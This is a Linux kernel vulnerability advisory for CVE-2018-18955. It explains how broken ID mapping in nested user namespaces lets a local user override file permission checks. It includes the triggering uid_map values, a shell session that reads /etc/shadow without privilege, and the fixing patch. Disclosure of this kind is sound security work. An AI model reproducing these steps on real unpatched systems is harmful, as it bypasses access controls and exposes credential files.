Linux Broken uid/gid Mapping for Nested User Namespaces

Risk: Medium
Local: Yes
Remote: No

CVSS Base Score: 4.4/10
Impact Subscore: 6.4/10
Exploitability Subscore: 3.4/10
Exploit range: Local
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

commit 6397fac4915a ("userns: bump idmap limits to 340") increases the number of possible uid/gid mappings that a namespace can have from 5 to 340. This is implemented by switching to a different data structure if the number of mappings exceeds 5: Instead of linear search over an unsorted array of struct uid_gid_extent, binary search over a sorted array of struct uid_gid_extent is used. Because ID mappings are queried in both directions (kernel ID to namespaced ID and namespaced ID to kernel ID), two copies of the array are created, one per direction, and they are sorted differently. In map_write(), at first, during the loop that calls insert_extent(), the member lower_first of each struct uid_gid_extent contains an ID in the parent namespace. Later, map_id_range_down() is used in a loop to replace these IDs in the parent namespace with kernel IDs. The problem is that, when the two sorted arrays are used, the new code omits the ID transformation for the kernel->namespaced mapping; only the namespaced->kernel mapping is transformed appropriately. This means that if you first, from the init namespace, create a user namespace NS1 with the following uid_map: 0 100000 1000 and then, from NS1, create a nested user namespace NS2 with the following uid_map: 0 0 1 1 1 1 2 2 1 3 3 1 4 4 1 5 5 995 then make_kuid(NS2, ...) will work properly, but from_kuid(NS2) will be an identity mapping for UIDs in the range 0..1000. Most users of from_kuid() are relatively boring, but kuid_has_mapping() is used in inode_owner_or_capable() and privileged_wrt_inode_uidgid(); so you can abuse this to gain the ability to override DAC security controls on files whose IDs aren't mapped in your namespace. To test this, I installed the "uidmap" package in a Ubuntu 18.04 VM with the following /etc/subuid and /etc/subgid: user@ubuntu-18-04-vm:~$ cat /etc/subuid user:100000:65536 user2:165536:65536 user3:231072:65536 user@ubuntu-18-04-vm:~$ cat /etc/subgid user:100000:65536 user2:165536:65536 user3:231072:65536 user@ubuntu-18-04-vm:~$ Then, as the user "user", I compiled the two attached helpers (subuid_shell.c and subshell.c): user@ubuntu-18-04-vm:~/userns_4_15$ gcc -o subuid_shell subuid_shell.c user@ubuntu-18-04-vm:~/userns_4_15$ gcc -o subshell subshell.c subuid_shell.c uses the newuidmap helper to set up a namespace that maps 1000 UIDs starting at 100000 to the namespaced UID 0; subshell.c requires namespaced CAP_SYS_ADMIN and creates a user namespace that maps UIDs 0-999, using six extents. I used them as follows to read /etc/shadow: user@ubuntu-18-04-vm:~/userns_4_15$ id uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare) user@ubuntu-18-04-vm:~/userns_4_15$ ls -l /etc/shadow -rw-r----- 1 root shadow 1519 Jul 4 16:11 /etc/shadow user@ubuntu-18-04-vm:~/userns_4_15$ head -n1 /etc/shadow head: cannot open '/etc/shadow' for reading: Permission denied user@ubuntu-18-04-vm:~/userns_4_15$ ./subuid_shell root@ubuntu-18-04-vm:~/userns_4_15# id uid=0(root) gid=0(root) groups=0(root),65534(nogroup) root@ubuntu-18-04-vm:~/userns_4_15# cat /proc/self/uid_map 0 100000 1000 root@ubuntu-18-04-vm:~/userns_4_15# ls -l /etc/shadow -rw-r----- 1 nobody nogroup 1519 Jul 4 16:11 /etc/shadow root@ubuntu-18-04-vm:~/userns_4_15# head -n1 /etc/shadow head: cannot open '/etc/shadow' for reading: Permission denied root@ubuntu-18-04-vm:~/userns_4_15# ./subshell nobody@ubuntu-18-04-vm:~/userns_4_15$ id uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare) nobody@ubuntu-18-04-vm:~/userns_4_15$ cat /proc/self/uid_map 0 0 1 1 1 1 2 2 1 3 3 1 4 4 1 5 5 995 nobody@ubuntu-18-04-vm:~/userns_4_15$ ls -l /etc/shadow -rw-r----- 1 root shadow 1519 Jul 4 16:11 /etc/shadow nobody@ubuntu-18-04-vm:~/userns_4_15$ head -n1 /etc/shadow root:!:17696:0:99999:7::: nobody@ubuntu-18-04-vm:~/userns_4_15$ Here is a suggested patch (copy attached to avoid whitespace issues); does this look sensible? ================== From 20598025d5e80f26a0c4306ebeca14b31539bd97 Mon Sep 17 00:00:00 2001 From: Jann Horn <> Date: Mon, 5 Nov 2018 20:55:09 +0100 Subject: [PATCH] userns: also map extents in the reverse map to kernel IDs The current logic first clones the extent array and sorts both copies, then maps the lower IDs of the forward mapping into the lower namespace, but doesn't map the lower IDs of the reverse mapping. This means that code in a nested user namespace with >5 extents will see incorrect IDs. It also breaks some access checks, like inode_owner_or_capable() and privileged_wrt_inode_uidgid(), so a process can incorrectly appear to be capable relative to an inode. To fix it, we have to make sure that the "lower_first" members of extents in both arrays are translated; and we have to make sure that the reverse map is sorted *after* the translation (since otherwise the translation can break the sorting). This is CVE-2018-18955. Fixes: 6397fac4915a ("userns: bump idmap limits to 340") Cc: Signed-off-by: Jann Horn <> --- kernel/user_namespace.c | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) diff --git a/kernel/user_namespace.c b/kernel/user_namespace.c index e5222b5fb4fe..923414a246e9 100644 --- a/kernel/user_namespace.c +++ b/kernel/user_namespace.c @@ -974,10 +974,6 @@ static ssize_t map_write(struct file *file, const char __user *buf, if (!new_idmap_permitted(file, ns, cap_setid, &new_map)) goto out; - ret = sort_idmaps(&new_map); - if (ret < 0) - goto out; - ret = -EPERM; /* Map the lower ids from the parent user namespace to the * kernel global id space. @@ -1004,6 +1000,14 @@ static ssize_t map_write(struct file *file, const char __user *buf, e->lower_first = lower_first; } + /* + * If we want to use binary search for lookup, this clones the extent + * array and sorts both copies. + */ + ret = sort_idmaps(&new_map); + if (ret < 0) + goto out; + /* Install the map */ if (new_map.nr_extents <= UID_GID_MAP_MAX_BASE_EXTENTS) { memcpy(map->extent, new_map.extent, -- ================== (By the way: map_id_up_max() is probably pretty inefficient, especially when retpoline mitigations are on, because it uses bsearch(), which is basically a little bit of logic glue around indirect function calls. If you care about speed, you might want to add an inline variant of bsearch() for places like this.) Proof of Concept:

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